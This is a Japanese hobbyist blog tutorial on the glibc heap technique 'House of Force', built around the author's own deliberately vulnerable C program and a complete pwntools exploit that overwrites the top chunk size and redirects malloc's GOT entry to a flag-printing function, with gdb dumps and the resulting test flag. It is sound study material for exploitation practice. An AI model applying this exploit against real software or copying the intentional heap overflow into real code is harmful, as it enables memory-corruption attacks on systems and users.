newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn7.1】House of Force: 使えればいいじゃんな覚書

 

 

 

0: 参考

 

1: イントロ

 ヒープ問を解いているときに使ったテクニックの一つの "House of Force"

自分のために簡単な覚書を書いておく

 

本来ならばソースコードを見て

この部分がこうだからこうやってbypassして。。。

のように進めていくのが筋だが

今回は使えればいいじゃんの考えに基づいて根本的な説明はしない

 

本エントリでは自作の簡単なプログラムと

そのexploitをもとに説明を進める

 

 

 

2: 使用するプログラムと表層解析

使用するメインプログラムは以下の通り

 

// test1.c for House of Force
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

static void win(void)
{
  system("cat /flag");
}

int main(void)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);

  srand(0);
  rand();
  putc('\n',stdout);

  char *buf = malloc(0x300);
  int choice;
  void *p;

  while(1==1){
    printf("1: malloc\n2: free\n3: write\n4: read\n");
    printf("> ");
    fscanf(stdin,"%d",&choice);
    switch(choice){
      case 1:
        printf("size > ");
        fscanf(stdin,"%d",&choice);
        p = malloc(choice);
        printf("[+]allocated %d @ %p\n\n",choice,p);
        break;
      case 2:
        free(p);
        printf("freed @ %p\n\n",p);
        break;
      case 3:
        printf("data > ");
        if(read(0,p,0x400)<=0){
          printf("ERROR\n");
          return 1;
        }
        break;
      case 4:
        printf("data: %s\n",(char*)p);
        break;
      default:
        printf("Invalid\n\n");
        break;
    }
  }

  return 0;
}

 

バイナリ情報は以下の通り

./test1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=918b4e3348802af9ccaade8ece04a53cd5f8df60, not stripped
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)




3: House of Force: 概要

制約:

・heap overflow等でtop_chunkのsize 8byteを書き換えることができる

top_chunkのアドレスをleakできる

任意のサイズでmalloc()できる

(・任意の値をmalloc先に書き込むことができる)

 

なお上のプログラムはこれらの条件を満たすように作られている

 

 

できること:

任意の場所(8byte align)にchunkを作ることができる

 

方法:

mallocをする際には

tcache, fastbins, unsortedbin, largebinに合うサイズのbinがあるかを探し

そこになければtop_chunkと呼ばれる領域から切り出すことになる

なおtop_chunkのサイズが足りなければsysmalloc()を呼んで

brk()かmmap()で新しいtop_chunkを作ることになるのだが

それはおそらく次エントリのHouse of Orangeで利用することになる

 

今回注目するのはtop_chunkからの切り出しである

この切り出し方法は至ってシンプルで

1: 要求サイズとtop_chunkのサイズを比較し十分なら2へ

2: 現在のtop_chunkのアドレス+要求サイズ+0x10へ新たなtop_chunkの情報を書き込む

3: 現在のtop_chunkのアドレスに要求されたchunkを作る

という流れになっている

 

そしてmain_arenaのtop_chunkへのポインタは2で更新された値へと上書きされる

 

以上を踏まえた上で

House of Forceは以下のように行う(と認識している)

1: top_chunkのsizeを大きな値(0xffffffffffffffff等)で上書きする

2: (chunkを作りたいアドレス) - (現在のtop_chunk) - 0x20・・・① の大きさだけmalloc()する

3: もう一度好きなサイズでmalloc()して値を書き込む



肝となるのは2である

top_chunkからの切り出しによってarenaのtop_chunkポインタが更新されると上述した

更新後のポインタの計算式は (現在のtop_chunk) + (要求サイズ) + 0x10 であったから

①の値を要求サイズに当てはめると

更新後のtop_chunk

   = (現在のtop_chunk) + (chunkを作りたいアドレス) - (現在のtop_chunk) - 0x20 + 0x10

   = (chunkを作りたいアドレス) - 0x10

となる

0x10分はmetadataだからユーザに与えられる領域としては

chunkを作りたいアドレスがしっかりと与えられることになる

 

 

なおわざわざtop_chunkのsizeを大きい値で書き換えたのは

GOTや.fini_arrayをoverwriteする場合

これらは当然heap領域よりも若い領域に位置するため

①の値が負になるからである

負数をmalloc()に渡した場合malloc()はそれをunsigned型として認識するため

要求サイズが非常に大きくなる

ここでtop_chunkのサイズが足りなくならないようにするためにsizeを書き換えた




4: 欠点

これで任意のアドレスにchunkを作れるようになった

もしそのchunkに好きな値を書き込めるのならば

これだけでGOT/.fini_array/__free_hook overwrite等ができてしまう

 

但し書き換えたいアドレスの周辺領域は破壊されてしまう

具体的に言うと

・書き換え対象アドレス - 0x8 の 8byte

・書き換え対象アドレス + そのchunkのsize - 0x8 の 8byte

が破壊されてしまう

 

前者はそのchunk自体のsizeデータのため

後者はtop_chunkのsizeデータのためである

 

よってoverwriteをする際にはこれらの領域に

破壊してはいけないデータがないことが前提となる




5: exploit

さて上のプログラムのexploitは以下の通り

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./test1"

rhp1 = {"host":"hoge","port":99999}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

win_addr = 0x400887

def malloc(conn,size,getaddr=True):
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("size > ")
  conn.sendline(str(size))
  if getaddr==True:
    conn.recvuntil("@ ")
    return int(conn.recvline()[:-1],16)

def free(conn):
  conn.recvuntil("> ")
  conn.sendline("2")

def write(conn,data):
  conn.recvuntil("> ")
  conn.sendline("3")
  conn.recvuntil("data > ")
  conn.send(data)

def read(conn):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("data: ")
  return conn.recvline()

def exploit(conn):
  print("[+]GOT free: "+hex(binf.got["free"]))
  
  addr1 = malloc(conn,0x10)
  print("addr1: "+hex(addr1))
  top_chunk = addr1+0x10
  print("top: "+hex(top_chunk))
  write(conn,"A"*0x10 + p64(0) + p64(0xffffffffffffffff|0x6))
  
  malloc(conn,binf.got["malloc"] - top_chunk - 0x20)
  addr2 = malloc(conn,0x20)
  print("addr2: "+hex(addr2))
  write(conn,p64(win_addr))

  malloc(conn,0x20,getaddr=False)
  
if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

簡単のためにフラグを読んでくれる関数を予め定義してある

 

mainプログラムでは以下のことができる

・任意のサイズをmalloc

・(ほぼ)任意のバイト数を最後にmallocした先に書き込める

・最後にmallocしたデータを読む

・最後にmallocしたchunkをfree()する

 

手順は4で説明したことをほぼ忠実に実装しただけであり

・適当なサイズをmalloc

・top_chunkのsizeを上書き

・arenaのtop_chunkがmallocのGOTを指すように変更

mallocのGOTをwin()にoverwrite

という流れである




少し冗長になるがgdbでの情報も合わせて見てみる

 

まずこれが最初のmallocをした状態のheap

0x188f560 FASTBIN {
  mchunk_prev_size = 0, 
  mchunk_size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20a81
}
0x188f580 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 133761, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

下のchunkがtop_chunkでありそのsizeは0xe0281である

 

この時点でのarenaの情報は以下の通り

{
  mutex = 0, 
  flags = 0, 
  have_fastchunks = 0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x80e580, 
  last_remainder = 0x0, 
  bins = {snipped...}, 
  binmap = {0, 0, 0, 0}, 
  next = 0x7f8f340bec40 , 
  next_free = 0x0, 
  attached_threads = 1, 
  system_mem = 135168, 
  max_system_mem = 135168
}

top_chunkは正常な場所を指していることがわかる

 

 

続いてtop_chunkのsizeを上書きした後

0x188f580 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 18446744073709551601, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x188f570 PREV_INUSE {
  mchunk_prev_size = 4702111234474983745, 
  mchunk_size = 4702111234474983745, 
  fd = 0x0, 
  bk = 0xfffffffffffffff1, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

しっかりsizeが更新されている

 

 

 

肝心のmalloc()をした後が以下の通り

pwndbg> arena
{
  mutex = 0, 
  flags = 0, 
  have_fastchunks = 0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x600f50, 
  last_remainder = 0x0, 
  bins = {snipped}, 
  binmap = {0, 0, 0, 0}, 
  next = 0x7fc8028bbc40 , 
  next_free = 0x0, 
  attached_threads = 1, 
  system_mem = 135168, 
  max_system_mem = 135168
}

top_chunkが更新されGOTを指していることがわかる

 

 

 

続いてもう一度mallocをすることでこの領域にchunkをつくる

このときのGOTの値は以下の通り

pwndbg> telescope 0x600ef8 20
00:0000│              0x600ef8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600d18 (_DYNAMIC) ◂— 0x1
01:0008│              0x600f00 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7fc802aea170 ◂— 0x0
02:0010│              0x600f08 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fc8028d8680 (_dl_runtime_resolve_xsave) ◂— push   rbx
03:0018│              0x600f10 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x4006e6 (free@plt+6) ◂— push   0 /* 'h' */
04:0020│              0x600f18 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7fc80254c1e0 (__isoc99_fscanf) ◂— push   rbx
05:0028│              0x600f20 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7fc8025509c0 (puts) ◂— push   r13
06:0030│              0x600f28 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x400716 (__stack_chk_fail@plt+6) ◂— push   3
07:0038│              0x600f30 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x7fc8025584d0 (setbuf) ◂— mov    edx, 0x2000
08:0040│              0x600f38 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x400736 (system@plt+6) ◂— push   5
09:0048│              0x600f40 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7fc802534e80 (printf) ◂— sub    rsp, 0xd8
0a:0050│              0x600f48 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x7fc802558230 (putc) ◂— test   byte ptr [rsi + 0x74], 0x80
0b:0058│              0x600f50 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x7fc8025e0070 (read) ◂— lea    rax, [rip + 0x2e0881]
0c:0060│              0x600f58 (_GLOBAL_OFFSET_TABLE_+96) ◂— 0x31 /* '1' */
0d:0068│ rax rcx rdx  0x600f60 (_GLOBAL_OFFSET_TABLE_+104) —▸ 0x7fc802567070 (malloc) ◂— push   rbp
0e:0070│              0x600f68 (_GLOBAL_OFFSET_TABLE_+112) —▸ 0x7fc8025143a0 (rand) ◂— sub    rsp, 8
0f:0078│              0x600f70 (data_start) ◂— 0x0
... ↓
11:0088│ rdi          0x600f80 (stdout@@GLIBC_2.2.5) —▸ 0x7fc8028bc760 (_IO_2_1_stdout_) ◂— 0xfbad2887
12:0090│              0x600f88 ◂— 0x1cb95f1
13:0098│              0x600f90 (stdin@@GLIBC_2.2.5) —▸ 0x7fc8028bba00 (_IO_2_1_stdin_) ◂— 0xfbad208b

 

 

これをchunkが作られる前のGOTと比べてみると

00:0000│   0x600ef8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600d18 (_DYNAMIC) ◂— 0x1
01:0008│   0x600f00 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f7db40a7170 ◂— 0x0
02:0010│   0x600f08 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f7db3e95680 (_dl_runtime_resolve_xsave) ◂— push   rbx
03:0018│   0x600f10 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x4006e6 (free@plt+6) ◂— push   0 /* 'h' */
04:0020│   0x600f18 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7f7db3b091e0 (__isoc99_fscanf) ◂— push   rbx
05:0028│   0x600f20 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7f7db3b0d9c0 (puts) ◂— push   r13
06:0030│   0x600f28 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x400716 (__stack_chk_fail@plt+6) ◂— push   3
07:0038│   0x600f30 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x7f7db3b154d0 (setbuf) ◂— mov    edx, 0x2000
08:0040│   0x600f38 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x400736 (system@plt+6) ◂— push   5
09:0048│   0x600f40 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7f7db3af1e80 (printf) ◂— sub    rsp, 0xd8
0a:0050│   0x600f48 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x7f7db3b15230 (putc) ◂— test   byte ptr [rsi + 0x74], 0x80
0b:0058│   0x600f50 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x7f7db3b9d070 (read) ◂— lea    rax, [rip + 0x2e0881]
0c:0060│   0x600f58 (_GLOBAL_OFFSET_TABLE_+96) —▸ 0x7f7db3ad0bb0 (srandom) ◂— sub    rsp, 8
0d:0068│   0x600f60 (_GLOBAL_OFFSET_TABLE_+104) —▸ 0x7f7db3b24070 (malloc) ◂— push   rbp
0e:0070│   0x600f68 (_GLOBAL_OFFSET_TABLE_+112) —▸ 0x7f7db3ad13a0 (rand) ◂— sub    rsp, 8
0f:0078│   0x600f70 (data_start) ◂— 0x0
... ↓
11:0088│   0x600f80 (stdout@@GLIBC_2.2.5) —▸ 0x7f7db3e79760 (_IO_2_1_stdout_) ◂— 0xfbad2887
12:0090│   0x600f88 ◂— 0x0
13:0098│   0x600f90 (stdin@@GLIBC_2.2.5) —▸ 0x7f7db3e78a00 (_IO_2_1_stdin_) ◂— 0xfbad208b

 

srandomのエントリが破壊されていることがわかる

今回はたまたま使わない関数であったからいいが

(というかそのためにわざわざ必要ないものをインクルードしたのだが)

これのせいでGOT overwriteできないことも割とある



さてchunkもつくれたためあとはwin()の値でoverwriteすればOKである

 

なおsystemの中ではmovaps命令によってstackの16byte alignが強制される

これに引っかかった場合にはoverwriteする値を

win()ではなくwin()+1にすることで

関数プロローグの push $rbp をとばしてstackの大きさを8byte減らしbypassできる

 

 

 

以上のようにexploitすると。。。

 

[+] Opening connection to localhost on port 12300: Done
[+]GOT free: 0x600f10
addr1: 0x2175570
top: 0x2175580
addr2: 0x600f60
[*] Switching to interactive mode
FLAG={thi5_i5_t35t_f1ag}
[+]allocated 32 @ (nil)

 

無事にフラグが取れました



6: アウトロ

制約のところでchunkに好きな値を書き込めることを括弧書きにした

たとえ好きな値が書き込めなかったとしても好きなsizeをmallocできるのであれば

書き込みたい値分の大きさでmalloc()すれば

それなりに任意の値を書き込むことが可能である(と思う)

 

もちろん下3bitがflagとして利用されたり8byte alignされたりで

完全に任意の値を書き込むことは無理だけどね






続く・・・